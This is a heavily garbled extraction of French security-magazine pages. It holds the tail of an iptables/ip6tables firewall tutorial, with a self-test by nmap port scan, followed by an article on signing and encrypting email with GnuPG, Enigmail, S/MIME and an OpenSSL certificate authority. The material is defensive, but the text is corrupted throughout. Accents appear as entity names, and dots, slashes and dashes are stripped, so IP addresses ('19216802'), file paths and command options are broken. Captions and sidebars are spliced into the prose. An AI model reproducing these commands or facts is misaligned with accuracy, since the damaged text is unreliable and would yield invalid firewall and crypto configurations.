iptables -D ltchaicircnegt numeacutero

Pour sauvegarder les regravegles dans un fichier

iptables-save gt fichier_de_sauvegarde

Pour restaurer les regravegles agrave partir dun fichier

iptables-restore lt fichier_de_sauvegarde

Fichier de configuration pour iptables

etcsysconfigiptables-config

Fichier de sauvegarde des regravegles (sauf les systegravemes agrave base DEBIAN)

etcsysconfigiptables

Sauvegarde du fichier de configuration (ne fonction-ne pas sous DEBIAN il faut creacuteer un script et le placer dans etcnetworkif _ preupd)

iptables save

creacuteation de regravegles simples avec iptablesAttention dans tous les exemples de cette partie je considegravere que la machine na quune seule carte reacute-seau il faut utiliser -i ltinterfacegt pour un paquet pro-venant dune interface ou -o ltinterfacegt pour un paquet sortant dans chacune des regravegles

Avant de commencer la reacutedaction de nos regravegles de filtrage il est important de commencer sur des bases saines nous allons donc effacer le contenu des tables (ici je ninitialise que la table FILTER)

iptables -F

iptables -X

Il faut maintenant impleacutementer la regravegle de base on DROP tous les paquets puis on accepte les flux dont on a besoin

iptables -P INPUT DROP

iptables -P OUTPUT DROP

iptables -P FORWARD DROP

Nous pouvons maintenant commencer agrave mettre en pla-ce nos regravegles je tiens agrave preacuteciser que chacune des regravegles que je vais impleacutementer sera indeacutependante des autres afin de garder une coheacuterence globale en cas de besoin de suppression certaines pratiques que je ne recomman-de pas sont dimpleacutementer sur les trois chaines principales (INPUT OUTPUT et FORWARD) un suivi de connexion globale afin de faciliter la creacuteation des regravegles (je nai plus agrave me soucier du retour je creacutee simplement la regravegle dinitia-tion de la connexion) Cette maniegravere de faire simpliste peut engendrer des trous beacuteants dans le pare-feu je vous re-commande donc deacuteviter ce genre de pratique

Nous allons maintenant autoriser le LOOPBACK (le reacuteseau local de la machine)

iptables -A INPUT -i lo -j ACCEPT

iptables -A OUTPUT -o lo -j ACCEPT

Autorisation du PING

iptables -A OUTPUT -m state --state NEWESTABLISHED -p

ICMP -s 19216802 -j ACCEPT

Figure 5 Firewall Builder

Firewall

hakin9orgfr 25

iptables -A INPUT -m state --state ESTABLISHED -p ICMP

-d 19216802 -j ACCEPT

Vous noterez ici que je nai pas stipuleacute la destination en 0000 en effet cest la valeur par deacutefaut si elle est non preacuteciseacutee

Autoriser le DNS

iptables -A OUTPUT -m state --state NEWESTABLISHED -

p UDP -s 19216802 -d 19216801 --sport

1024 --dport 53 -j ACCEPT

iptables -A INPUT -m state --state ESTABLISHED -p UDP -s

19216801 -d 19216802 --sport 53 --dport

1024 -j ACCEPT

Ici mon serveur DNS et routeur est en IP 19216801 La commande --dport 1024 signifie que le port de des-tination est un port supeacuterieur agrave 1024

Autoriser le HTTP et HTTPS

iptables -A OUTPUT -m state --state NEWESTABLISHED -p

TCP -s 19216802 --sport 1024 --dport 80 -j

ACCEPT

iptables -A INPUT -m state --state ESTABLISHED -p TCP -d

19216802 --sport 80 --dport 1024 -j ACCEPT

iptables -A OUTPUT -m state --state NEWESTABLISHED -p

TCP -s 19216802 --sport 1024 --dport 443

-j ACCEPT

iptables -A INPUT -m state --state ESTABLISHED -p TCP

-d 19216802 --sport 443 --dport 1024 -j

ACCEPT

Autoriser le SMTP POP3 et IMAP

iptables -A OUTPUT -m state --state NEWESTABLISHED -p

TCP -s 19216802 --sport 1024 --dport 25 -j

ACCEPT

iptables -A INPUT -m state --state ESTABLISHED -p TCP -d

19216802 --sport 25 --dport 1024 -j ACCEPT

iptables -A OUTPUT -m state --state NEWESTABLISHED -p

TCP -s 19216802 --sport 1024 --dport 110

-j ACCEPT

iptables -A INPUT -m state --state ESTABLISHED -p TCP

-d 19216802 --sport 110 --dport 1024 -j

ACCEPT

iptables -A OUTPUT -m state --state NEWESTABLISHED -p

TCP -s 19216802 --sport 1024 --dport 143

-j ACCEPT

iptables -A INPUT -m state --state ESTABLISHED -p TCP

-d 19216802 --sport 143 --dport 1024 -j

ACCEPT

Autoriser SSH (on autorise une connexion sur notre machine sur ssh agrave partir de la machine 16216803)

table 1 Table des flux

Description Entreacutee Sortie

Eacutetat Proto-cole

IP source Port source IP destination Port destina-tion

PING OUTPUT NEW ESTABLISHED ICMP 19216802 (aucun) 0000 (aucun)

PING INPUT ESTABLISHED ICMP 0000 (aucun) 19216802 (aucun)

DNS OUTPUT NEW ESTABLISHED UDP 19216802 gt1024 0000 53

DNS INPUT ESTABLISHED UDP 0000 53 19216802 gt1024

HTTP OUTPUT NEW ESTABLISHED TCP 19216802 gt1024 0000 80

HTTP INPUT ESTABLISHED TCP 0000 80 19216802 gt1024

HTTPS OUTPUT NEW ESTABLISHED TCP 19216802 gt1024 0000 443

HTTPS INPUT ESTABLISHED TCP 0000 443 19216802 gt1024

SMTP OUTPUT NEW ESTABLISHED TCP 19216802 gt1024 0000 25

SMTP INPUT ESTABLISHED TCP 0000 25 19216802 gt1024

POP3 OUTPUT NEW ESTABLISHED TCP 19216802 gt1024 0000 110

POP3 INPUT ESTABLISHED TCP 0000 110 19216802 gt1024

IMAP OUTPUT NEW ESTABLISHED TCP 19216802 gt1024 0000 143

IMAP INPUT ESTABLISHED TCP 0000 143 19216802 gt1024

FTP OUTPUT NEW ESTABLISHED TCP 19216802 gt1024 0000 21

FTP INPUT ESTABLISHED TCP 0000 21 19216802 gt1024

FTP (actif) INPUT RELATED ESTABLI-SHED

TCP 0000 20 19216802 gt1024

FTP (actif) OUTPUT ESTABLISHED TCP 19216802 gt1024 0000 20

FTP (passif) INPUT RELATED ESTABLI-SHED

TCP 19216802 gt1024 0000 gt1024

FTP (passif) OUTPUT ESTABLISHED TCP 0000 gt1024 19216802 gt1024

6201026

Seacutecuriteacute reacuteSeaux

iptables -A OUTPUT -m state --state NEWESTABLISHED -p

TCP -s 19216802 --sport 22 -d 19216803

--dport 1024 -j ACCEPT

iptables -A INPUT -m state --state ESTABLISHED -p TCP

-d 19216802 --sport 1024 -s 19216803 --

dport 22 -j ACCEPT

On remarque ici que les regravegles se ressemblent beau-coup avec iptables une fois les quelques regravegles stan-dard effectueacutees cest assez simple dutilisation

Veacuterifier la mise en place des regraveglesVoilagrave nous venons de mettre tout un tas de regravegles en place mais il faut maintenant les tester Pour ce faire il existe plusieurs possibiliteacutes

bull le test de chacun des protocoles utiliseacutes (nous al-lons bien tester si le protocole passe mais pas si les autres sont filtreacutes)

bull lutilisation dun outils automatiseacute de scan de ports qui permettrait de tester lensemble des ports dis-ponibles sur ma machine (cest lexemple que nous allons prendre ici)

Afin de tester si le pare-feu de ma machine est bien configureacute (voir Figure 4) il faut se positionner sur une autre machine de mon reacuteseau et utiliser loutils Nmap (disponible sur le site httpnmaporg)

Dans un premier temps nous allons essayer un scan des 65535 ports en TCP SYN (demi-ouvert) le but eacutetant daller assez vite cette meacutethode agrave lavantage de nous informer sur la nature du reacutesultat (port ouvert fermeacute filtreacute)

nmap -sS 19216802 -p-

Si on essaie cette commande normalement aucun reacute-sultat ne devrais ecirctre reccedilu nmap effectue un PING sur la cible avant de commencer le scan et lICMP est ici filtreacute Nous avons donc bien veacuterifieacute que lICMP eacutetait bloqueacute Pour speacutecifier agrave nmap de ne pas effectuer de PING il suffit dajouter loption -P0

nmap -P0 -sS 19216802 -p-

On obtient le port 22 douvert (nous avions appliqueacute une regravegle pour permettre ladministration distante) et tous les autres de filtreacutes Il faut maintenant tester les regravegles agrave partir de notre pare-feu vers une machine dis-tante (ici 19216803) qui ne possegravede pas de pare-feux

nmap -sS 19216803 -p-

On obtient bien un filtrage de tous les ports excepteacutes les services autoriseacutes

creacuteation de regravegles avanceacutees avec iptablesNous allons maintenant mettre en place les regravegles de filtrage pour lutilisation de FTP Les regravegles de filtrage pour une connexion FTP active sont assez simples

iptables -A OUTPUT -m state --state NEWESTABLISHED -p

TCP -s 19216802 --sport 1024 --dport 21 -j

ACCEPT

iptables -A INPUT -m state --state ESTABLISHED -p TCP -d

19216802 --sport 21 --dport 1024 -j ACCEPT

iptables -A INPUT -m state --state RELATEDESTABLISHED

-p TCP -d 19216802 --sport 20 --dport 1024

-j ACCEPT

iptables -A OUTPUT -m state --state ESTABLISHED -p TCP

-s 19216802 --sport 1024 --dport 20 -j

ACCEPT

Mais voilagrave dans la majoriteacute des cas si vous avez un routeur et que vous souhaitez teacuteleacutecharger des fichiers vous devez utiliser le mode passif La probleacutematique du mode passif est que nous ne connaissons ni le port source ni le port destination et agrave moins de nutili-ser quun serveur FTP en IP fixe et bien on ne connaicirct pas non plus lIP distante Cela pose un sacreacute problegrave-me imaginez creacuteer une regravegle ougrave lon dit

Jaccepte toutes les connexions provenant de tous les ports distants vers tous mes ports Une telle regravegle mettrait en lair tout le filtrage mis en place Netfilter ne permet pas de geacuterer ce genre de besoin en natif heureusement il est possible dajouter des modules qui eux le gegraverent

Et si je veux filtrer par adresse MAC Exemple

iptables -A INPUT -m mac ndashmac-source 00AABBCCDDEE

ajout de module compleacutementairePour autoriser la gestion de la commande RELATED qui permet deffectuer un suivi de connexion dans le ca-dre du protocole FTP il faut que le module ip_conntrack_ftp soit activeacute dans le fichier etcsysconfigiptables-config pour les distributions Ubuntu il faut ajouter la comman-de modprobe ip_conntrack_ftp dans le fichier etcmodules (si vous souhaitez charger le module maintenant il suffit de taper modprobe ip_conntrack_ftp) On peut maintenant ajouter la regravegle pour prendre en compte les connexions passives pour FTP

iptables -A INPUT -m state --state RELATEDESTABLISHED

-p TCP -s 19216802 --sport 1024 --dport

1024 -j ACCEPT

iptables -A OUTPUT -m state --state ESTABLISHED -p TCP

-d 19216802 --sport 1024 --dport 1024 -j

ACCEPT

utilisation du NatLa redirection de flux est tregraves inteacuteressante et tregraves puis-sante vous pouvez facilement transformer la machine

Firewall

hakin9orgfr 27

locale en routeur Si cest votre besoin pensez agrave activer la redirection avec la commande

sysctl -w netipv4ip_forward=1

ou dans le fichier etcsysctlconf appliquer la ligne netipv4ip _ forward=1

Nous allons ici voir un exemple simple qui redirigera toutes les connexions sortantes de telnet vers le ser-veur telnet local

iptables -t NAT -A OUTPUT -p tcp --dport 23 -j DNAT --

to-destination 19216802

Faciliter la journalisationPour rendre les journaux daudit plus faciles agrave lire il peut ecirctre inteacuteressant de creacuteer des chaicircnes Ici nous al-lons enregistrer la connexion au service ssh local lop-tion limit permet de limiter (au bout de 5 requecirctes) la journalisation

iptables -A INPUT -p TCP --syn -d 19216802 ndashdport 22

-j LOG --log-prefi x CONNEXION AU TELNET --

log-level warn -m limit --limit 1m

Pour lire les messages

less varlogmessages

Exemple de regravegles permettant de journaliser tous les paquets bloqueacutes

iptables -N LOG DROP

iptables -A LOG DROP -j LOG - log-prefi x [iptables_

DROP]

iptables -A LOG DROP -j DROP

et iPV6 Cest bien beau tout ccedila je vous ai preacutesenteacute les bases pour travailler avec Netfilteriptables sous IPV4 mais pour IPV6 quelques eacuteleacutements changent Le premier qui est dune importance capitale est ladressage on passe de 32bits (IPV4) agrave 128bits (IPV6) au lieu donc davoir une adresse en 4 parties 19216802 on se retrouve avec une adresse en 8 parties 12340000002 le multicast local quand agrave lui qui seacutecrivait 1921680024 seacutecrit main-tenant 1234000000016 Pour plus dinformation sur lIPV6 allez voir les RFC correspondantes

La creacuteation des regravegles dans un premier temps nous nutilisons plus la commande iptables mais ip6tables

lutilisation est quasiment identique la diffeacuterence est vi-sible pour seulement quelques protocoles On peut aus-si simplifier leacutecriture par exemple lors de lutilisation de ladresse 12340000002 je peut leacutecrire 12342

Afficher la liste des regravegles de filtrages en numeacuterotant les lignes en indiquant le nombre de paquets traiteacutes sans faire de reacutesolution de port

ip6tables -L -n -v --linePour supprimer une regravegle gracircce agrave son numeacutero de li-

gne

ip6tables -D ltchaicircnegt numeacutero

Exemple autorisation du PING (icmpv6)

ip6tables -A INPUT -p icmpv6 -j ACCEPT

ip6tables -A OUTPUT -p icmpv6 -j ACCEPT

ip6tables -A INPUT -p icmpv6 --icmpv6-type echo-request

-j ACCEPT

Bloquer les requecirctes de connexion entrante

ip6tables -I INPUT -p tcp --syn -j DROP

Je nentrerais pas plus dans le deacutetail le filtrage IPV6 demande un article agrave lui seul et la majoriteacute des reacute-seaux sont encore en IPV4

autres solutionsMaintenant que nous avons vu iptables il existe des solutions pour configurer le pare-feu graphiquement je ne vais pas eacutenumeacuterer les nombreux logiciels existant mais simplement je vous parler de Firewall Builder (voir Figure 5) qui existe sous Linux MacOS et Windows en double licence (GNU Public License pour les systegravemes dexploitation libres et payant pour les autre) Il supporte iptables (Netfilter) ipfilter pf ipfw Cisco PIX (FWSM ASA) et les extended access lists des routeurs Cisco Autant dire que cet outil est tregraves inteacuteressant Sachez que mecircme si vous avez deacutejagrave fait votre configuration avec iptables cet outil permet de louvrir vous navez donc pas besoin de recommencer tout je vous conseille vi-vement de le tester Si vous avez fait le tableau de flux vu preacuteceacutedemment vous vous rendrez compte que luti-lisation est eacutequivalente agrave faire ce tableau attention tout de mecircme en cas de creacuteation de plusieurs profils agrave ne pas oublier dappliquer le bon profil

Agrave PrOPOS De LauteurAutodidacte depuis plus de dix ans dans le domaine du deacutevel-oppement et ladministration lauteur e ectue des audits de seacutecuriteacute informatique pour le compte dun grand groupe franccedilaisMail hantevillenicolasfreefr

Deacutefi nitionUn fi rewall (mur de feupare-feu) est un systegraveme permettant deff ectuer un controcircle des fl ux entrants et sortants sur un reacute-seau ou une machine

6201028

Seacutecuriteacute reacuteSeaux

Aujourdhui le besoin denvoyer des mails est critique plus personne ne peut sen passer pour un usage personnel ou professionnel

Tout dabord le chiffrement de leacutechange de mails chif-freacutes avec (SSLTLS) nest pas proposeacute par tous les fournisseurs daccegraves ou dadresses mails Free par exemple De plus mecircme si lon chiffre la communica-tion avec notre serveur SMTP pour lenvoi de mail rien ne nous garanti que durant sa transmission il sera re-layeacute avec une communication chiffreacutee Le chiffrement de la communication nest donc pas suffisant dautant plus quil ne reacutesoud pas certains problegravemes Il est en effet connu de tous que Google analyse nos mails afin de faire de la publiciteacute cibleacutee et que certains sites peu scrupuleux essayent nos identifiants et mots de pas-se sur nos adresses mails La reacuteponse agrave la question pourquoi signer et chiffrer ses mails prend donc tout son sens avec le chiffrement du contenu des mails Il est donc important de sassurer que certains eacutechan-ges par mails restent confidentiels via la signature et le chiffrement Dune part signer un mail permet au destinataire de sassurer de lidentiteacute de lexpeacutediteur et du contenu du mail Dautre part chiffrer permet das-surer agrave lexpeacutediteur que seul le destinataire pourra lire le mail Bien entendu chiffrer le contenu du mail ne dispense pas de chiffrer la communication avec SSL les deux fonctionnant agrave des niveaux diffeacuterentes cela ne pose aucun problegraveme Nous verrons que lon peut facilement et rapidement mettre en place une solution de chiffrement et de signature en utilisant soit PGP soit

SMIME Les deux permettent de signer et de chiffrer des mails bien que leur fonctionnement et leur utilisa-tion diffegraverent

PGPPGP est un systegraveme de chiffrement eacutelaboreacute par Phi-lip Zimmermann en 1991 Il na pas eacuteteacute conccedilu dans le but unique de chiffrer des mails mais dans un but plus geacuteneacuteral de chiffrement de documents Cest pour cette raison quil a parfois du mal agrave sadapter au formatage dun mail Ce systegraveme a eacuteteacute normaliseacute par LIETF dont OpenPGP est le standard Les deux grandes impleacute-mentations de OpenPGP sont PGP de la PGP Corpo-ration et GnuPG sous licence GPL Par la suite nous nutiliserons que GnuPG(ou GPG) car il est libre Il nen reste pas moins compatible avec limpleacutementa-tion de la PGP Corp

caracteacuteristiques techniquesDun point de vue technique GPG utilise DSA et Elga-mal comme algorithme de chiffrement asymeacutetrique par deacutefaut Il est maintenant possible dutiliser RSA car ce-lui-ci nest plus breveteacute Il diffegravere sur le principe car RSA est baseacute sur la difficulteacute de factoriser des grands nom-bres en nombres premiers alors que DSA et Elgamal sont fondeacutes sur la difficulteacute de reacutesoudre les logarithme discrets En terme de chiffrement symeacutetrique GPG pro-pose notamment le 3DES et lAES ce qui lui vaut lap-pellation de cryptographie ou cryptosystegraveme hybride car mecirclant cryptographie symeacutetrique et asymeacutetrique

chiffrement des mails

Cet article preacutesente le fonctionnement du chiffrement et de la signature des mails On sinteacuteresse donc ici au chiffrement du contenu des mails et des piegraveces jointes via lutilisation des deux grandes technologies du domaine PGP et SMIME Nous allons donc voir comment fonctionne le chiffrement et la signature comment creacuteer ou se procurer cleacutes et certificats et comment les mettre en oeuvre dans un client de messagerie

cet article expliquebull Comment utiliser GPG pour chiffrer et signer des mails et par

extension chiffrer et signer des fichiersbull Comment utiliser les certificats personnels SMIME pour sig-

ner et chiffrer des mails

ce quil faut savoirbull Notions de base en cryptographie asymeacutetrique et symeacutetriquebull Comment fonctionner un service de messagerie(SMTP IMAP)

et le configurer dans un client de messagerie

robin David

chiffrement des mails

hakin9orgfr 29

chacun peut envoyer sa cleacute publique pour la mettre agrave disposition de tous pour le chiffrement tout particu-liegraverement

WotComme dans tout systegraveme deacutechange sur le net se po-se alors la question de la confiance que lon accorde agrave linterlocuteur A linverse dun systegraveme architectureacute autour dun PKI pour PGP la confiance se gegravere de per-sonne agrave personne systegraveme aussi connu sous le nom de laquo Web Of Trust raquo Le Web Of Trust est un concept in-venteacute en mecircme temps que PGP dans le but deacutetablir un niveau de confiance entre les personnes utilisant PGP (voir Figure 2) Il suit un modegravele deacutecentraliseacute et son meacute-

(voir encadreacute et Figure 1) La fonction de hachage utili-seacutee par deacutefaut est le SHA-1

Le standard OpenPGP a lavantage de permettre une grande modulariteacute dans le contenu de la cleacute il est en effet possible dajouter plusieurs UID au sein dune mecircme cleacute donc dajouter plusieurs adresses mail ce qui eacutevite de multiplier le nombre de cleacutes Il est aussi possible dajouter des sous-cleacutes une photo changer le mot de passe de la cleacute priveacutee changer la date dexpiration ou encore modifier les preacutefeacuterences de la cleacute en terme de chiffrement hachage compres-sion

La diffusion des cleacutes publiques se fait par linter-meacutediaire de serveurs de cleacutes PGP publiques Ainsi

envoi dun mail signeacute et chiff reacute

Chiff rement

1 On geacutenegravere la cleacute de session et on chiff re le texte avec2 On ajoute le texte chiff reacute dans le mail3 Bob prend la cleacute public de Alice pour chiff rer la cleacute de session4 Il ajoute la cleacute de session dans le mail

Signature

1 Il hache le corps du texte2 Il chiff re le digest(hash) avec sa cleacute priveacutee pour creacuteer la signature3 Il ajoute la signature dans le mail4 Il envoi le mail agrave Alice

Deacutechiff rement

1 Alice deacutechiff re la cleacute de session avec sa cleacute priveacutee2 Elle deacutechiff re le message avec la cleacute de session

Veacuterifi cation signature

1 Elle deacutechiff re la signature avec la cleacute public de Bob 11 Elle obtient le hash que Bob avait fait du corps du message2 Alice hash le message deacutechiff reacute preacuteceacutedemment3 Si les condensas (hash) sont identiques alors la signature est valide

Figure 1 Envoi dun mail signeacute et chiff reacute

6201030

Seacutecuriteacute reacuteSeaux

canisme central est la signature des cleacutes Le principe est de signer avec sa cleacute priveacutee la cleacute publique de quel-quun dont on confirme lidentiteacute suite agrave une rencontre physique ou au cours dune Signing Party

Il existe trois grandes situations pour lesquelles PGP accorde sa confiance agrave une cleacute

bull On a signeacute la cleacute de quelquun directement ou in-directement (si on agrave configureacute notre cleacute avec un ni-veau de confiance maximum ce qui parait normal)

bull Notre cleacute et la cleacute du destinataire est signeacute par une 3egraveme personne(tiers) agrave laquelle on a accordeacute le ni-veau de confiance maximum

bull Par reacuteaction en chaicircne on agrave accordeacute notre confian-ce agrave la personne en accordant le niveau de confian-ce maximum agrave une personne qui la signeacute)

bull NoteDans gpg on peut configurer le trust-model par deacutefaut cest le Web Of Trust ci-dessus mais il en existe dautres tels que le direct ou la validiteacute dune cleacute nest pas calculeacutee avec le Web Of Trust mais deacutefinie par lutilisateur ou encore le always qui ne tient pas compte du Web Of Trust Ainsi si la si-gnature est bonne la cleacute est de confiance sinon elle ne lest pas

risques lieacutes agrave la technologie PGPLe principal risque lieacute agrave PGP est la diffusion de la cleacute En effet nimporte qui peut creacuteer une cleacute PGP

avec une adresse mail quil ne possegravede pas et len-voyer sur un serveur de cleacute publique Ce pheacutenomegrave-ne dusurpation didentiteacute est le principal risque car un mail chiffreacute avec une cleacute usurpeacutee sera lisible par lusurpateur en supposant quil ait accegraves agrave la boite aux lettres eacutelectronique ou quil soit apte agrave intercep-ter les mails en amont Dans ce cas lagrave rien nem-pecircche lusurpateur de deacutechiffrer le mail le chiffrer agrave nouveau avec la bonne cleacute et de le renvoyer agrave la bonne personne ce qui fait finalement penser agrave du man in the middle Cependant en pratique la mise en place de ce genre dattaque doit ecirctre tregraves com-plexe

Le deuxiegraveme inconveacutenient de PGP est labsence de meacutethode pro-active pour veacuterifier la validiteacute dune cleacute Par exemple lorsque lon reacutevoque notre cleacute et quon lenvoie sur un serveur de cleacute celle-ci est reacutevo-queacutee Cependant si nos correspondant ne procegravedent pas veacuterification manuelle(gpg --refresh-keys) de leacutetat de la cleacute alors ils continuerons agrave utiliser une cleacute qui est normalement reacutevoqueacutee Cependant rien ne nous empecircche de mettre cette commande dans un cron-tab ou automatiser la mise agrave jour dune quelconque maniegravere

La meilleure solution contre ces problegravemes reste la communication avec les correspondants y compris lors de la prise de contact pour quil vous transmette lID de sa cleacute ou son fingerprint

Fonctionnement du Web of trust

1 Bob creacutee sa cleacute et lenvoie sur un serveur de cleacute PGP2 Alice veut envoyer un message agrave Bob et teacuteleacutecharge la cleacute Comment ecirctre sucircr que cest bien celle de Bob 3 Dans ce cas Alice a signeacute la cleacute dun ami qui agrave lui mecircme signeacute la cleacute de Bob donc indirectement Alice agrave confi ance dans la cleacute de

Bob et elle pourra chiff rer en toute confi ance des messages pour Bob

Figure 2 Systegraveme de confi ance PGP

6201032

Seacutecuriteacute reacuteSeaux

GnuPG en pratiqueAvant de pouvoir eacutechanger une quelconque cleacute il faut dabord la creacutee Voici comment creacuteer un couple de cleacutes et quelques informations pour ladministrer

Avant de commencer il faut savoir que certains lo-giciels et plugins permettent de creacuteer et dadministrer les cleacutes Cela reste cependant plus instructif de le faire manuellement

De plus il faut savoir que le trousseau de cleacutes de lutili-sateur et toutes les cleacutes teacuteleacutechargeacutees se trouvent dans le dossier gnupg du homedir Les principaux fichiers sont gpgconf le fichier de configuration qui deacutefinit notamment le serveur de cleacutes par deacutefaut pubringgpg et secringgpg qui contiennent respectivement les cleacutes publiques et les cleacutes priveacutees et enfin trustdbgpg qui contient les informa-tions relatives agrave la confiance des cleacutes En effet il est im-portant de savoir que la confiance que lon accorde aux cleacutes est deacutependante du trousseau de cleacutes Enfin lavan-tage de GPG (par rapport agrave SMIME) est decirctre conccedilu de la mecircme maniegravere que ce soit Mac OS X Windows ou Linux Les cleacutes seront toujours stockeacutees dans le reacuteper-toire utilisateur dans un format binaire Par deacutefaut sous Linux gpg est installeacute avec la distribution Pour Windows il faut se procurer le logiciel et ajouter gpgexe dans le path Pour Mac il existe un portage de gpg qui sappelle MacGPG mais son fonctionnement est identique

Pour creacuteer une cleacute en console rien de plus simple

gpg ndashgen-key

Il suffit de suivre les instructions pour le choix du chiffrement laisser par deacutefaut DSA et Elgamal en-

suite vous pouvez agrandir la taille de la cleacute si el-le ne vous convient pas Ne vous inquieacutetez pas sil vous est demandeacute dagiter la souris et dap-puyer sur les touches de votre clavier Il a besoin au moins au deacutebut de geacuteneacuterer des nombres aleacutea-toires pour la creacuteation de la cleacute Ceci fait votre pai-re de cleacutes alors elles se trouvent dans votre trous-seau de cleacutes dans votre homedir Les commandes de bases sont

gpg ndashlist-key et gpg --list-secret-key qui liste respec-tivement toutes les cleacutes publiques et toutes les cleacutes pri-veacutees du trousseau de cleacutes (keyring)

gpg ndashlist-sigs permet de lister toutes les signatures des cleacutes ou de la cleacute speacutecifieacutee

gpg ndashexport monuid permet dexporter la paire de cleacutes speacutecifieacutee(par deacutefaut sur la sortie standard)

gpg ndashedit-key monuid permet deacutediter la cleacute identifieacutee par monuid

Une fois le prompt afficheacute tapez help et de nombreu-ses options soffrent agrave vous sachant quil faudra entrer le mot de passe de la cleacute priveacutee pour les opeacuterations tou-chant directement la cleacute

Se pose alors la question comment on teacuteleacutecharge les cleacutes de nos correspondants et comment met-on agrave dis-position notre cleacute publique La meacutethode standard est dutiliser un serveur de cleacute qui soccupera de reacutepliquer cette cleacute sur dautre serveurs

Pour teacuteleacutecharger une cleacute si lon connaicirct deacutejagrave lidenti-fiant de la cleacute on peut utiliser

gpg ndashkeyserver pgpmitedu ndashrecv-keys [uid] pour la teacuteleacute-charger On peut cependant la teacuteleacutecharger du serveur que lon veut

Figure 3 Menu de gestion des cleacutes

chiffrement des mails

hakin9orgfr 33

Dans le cas eacutecheacuteant il existe une alternative

gpg ndashkeyserver pgpmitedu ndashsearch-keys [recherche]

Sachant que la recherche seffectue sur le nom ladresse mail et lUID de la cleacute

Maintenant on va pouvoir enfin envoyer des mails chiffreacutes et signeacutes

impleacutementations dans les MuaQuelles sont maintenant les diffeacuterentes impleacutementations de gpg dans les clients de messageries Celle auquel-le on va sinteacuteresser tout particuliegraverement est Enig-mail Enigmail est un plugin pour Thunderbird et a donc lavantage de fonctionner sur Windows Linux et Mac Il en existe cependant un pour Windows GPG4Win qui inclus un gestionnaire de cleacutes un plugin pour Outlook 2003 un logiciel pour le chiffrement de fichiers et gegravere par la mecircme occasion les certificats x509 Sous Linux GPG est installeacute par deacutefaut sur la plupart des distribu-tions et les clients de messageries tel que Kmail ou Evolution gegraverent nativement sans plugin le PGP Pour ce qui est de Mac il existe un portage de GnuPG appeleacute MacGPG un logiciel de gestion des cleacutes appeleacute GPG Keychain et un plugin pour Mail appeleacute GPGMail

Enfin il est inteacuteressant de noter quil existe un plu-gin pour Firefox permettant de faire du chiffrement PGP

dans les webmails Il sappelle FireGPG mais nest mal-heureusement plus supporteacute depuis le 7 Juin 2010 Nous allons donc nous inteacuteresser au plugin Enigmail qui est de loin le plus eacutevolueacute et qui permet une adminis-tration complegravete de GnuPG

Lors du premier lancement de Thunderbird avec Enig-mail lassistant propose de creacuteer un couple de cleacutes si on la possegravede deacutejagrave il suffit dignorer lassistant Deux menus sont importants OpenPGPGestion des Clefs qui permet dimporter une cleacute chercher une cleacute sur un serveur signer une cleacute afficher les proprieacuteteacutes dune cleacute ou encore de modifier son niveau de confiance (voir Fi-gure 3)

Le deuxiegraveme eacuteleacutement important est la configuration quil vaut mieux eacuteviter de bidouiller sans connaicirctre ce-pendant une option est tregraves inteacuteressante agrave activer Cet-te option se trouve dans OpenPGPPreacutefeacuterences onglet Serveur de clefs apregraves avoir cliqueacute sur le mode expert cest loption de teacuteleacutechargement automatique des clefs lors de la reacuteception dun message signeacute dont on ne pos-segravede pas la cleacute publique (voir Figure 4)

La derniegravere eacutetape avant de pouvoir signer des mails est dassocier une cleacute agrave un compte pour cela il faut aller dans les proprieacuteteacutes du compte (account settings) activer OpenPGP pour ce compte et choi-sir la bonne cleacute (ou laisser le choix automatique par ladresse mail)

Figure 4 Activation de loption de teacuteleacutechargement automatique

6201034

Seacutecuriteacute reacuteSeaux

Il est maintenant possible de signer des mails avec PGP et de chiffrer si lon possegravede la cleacute pu-blique de notre destinataire On signe un message en cliquant sur le bouton OpenPGP de la fenecirctre de reacutedaction de message Remarque il est preacutefeacuterable de cocher PGPMIME car ceci active le support du PGPMIME(voir terminologie) De cette maniegravere si le client de messagerie du destinataire ne supporte pas lOpenPGP alors la signature ne viendra pas pa-rasiter le contenu du mail car elle se trouvera dans les en-tecirctes(bien quelle puisse apparaicirctre comme piegravece jointe)

SMiMeSMIME pour secure MIME est une extension du stan-dard MIME pour y inclure la signature numeacuterique encap-suleacutee au format MIME Il est donc plus particuliegraverement conccedilu pour la signature et le chiffrement des mails Les certificats SMIME ou certificats personnels(voir chapi-tre suivant) sont des certificats fondeacutes sur les certifi-cats x509 Le x509 est un format standard de certificat eacutelectronique il introduit certains concepts comme les listes de reacutevocations Comme tout certificat x509 les certificats SMIME sarticulent autour dune autoriteacute de certification ou CA(Certification Authority) qui deacutelivre le

creacuteation dune autoriteacute de certifi cationIl est tregraves simple de creacuteer des certifi cats auto-signeacutes avec OpenSSL le plus simple est dutiliser le script Perl inclus avec OpenSSL pour creacuteer des certifi cats CApl facilementCependant il ne permet pas une confi guration du CA il est donc preacutefeacuterable den recreacuteer un Voici les diff eacuterentes eacutetapes Il faut dabord creacuteer larborescence des dossiers et des fi chiers

On a larborescence de base il faut ensuite copier le opensslcnf dans le dossier pour pouvoir personnaliser notre autoriteacute de certifi -cationcp etcsslopensslcnf monACIl faut cependant modifi er une ligne dans le fi chierdir = demoCA en dir = On peut donc maintenant modifi er le opensslcnf pour modifi er le comportement du CA cest agrave dire la longueur des cleacutes par deacutefaut ajout de la gestion des SAN pour les certifi cats serveurs etcAttention la confi guration du fi chier opensslcnf est un peu deacutelicate et peut neacutecessiter de lexpeacuterience pour comprendre son fonctionnementIl ne reste plus quagrave geacuteneacuterer le certifi cat du CA qui servira agrave signer les autres certifi catsOn geacutenegravere la cleacute priveacuteeopenssl genrsa -aes256 -out monACprivatecakeypem 2048On geacutenegravere le certifi cat agrave partir de la cleacute priveacuteeopenssl req -new -x509 -days 365 -key monACprivatecakeykey -out monACprivatecacertpemLe CA ne sera valide quun an avec cette commandeIl ne reste plus qua creacuteer le certifi cat utilisateuropenssl genrsa -out monACprivatecuser-priveepem 2048On creacutee la CSR qui sera soumise agrave lautoriteacute de certifi cation que lon vient de creacuteer openssl req -new -nodes -key monACprivateuser-priveepem -out monACnewcertscsrpemLe CA doit maintenant signer la CSR pour geacuteneacuterer le certifi cat openssl ca -in monACnewcertscsrpem -out monACcertsuser-publicpem -keyfi le monACprivatecakeypem -cert monAC

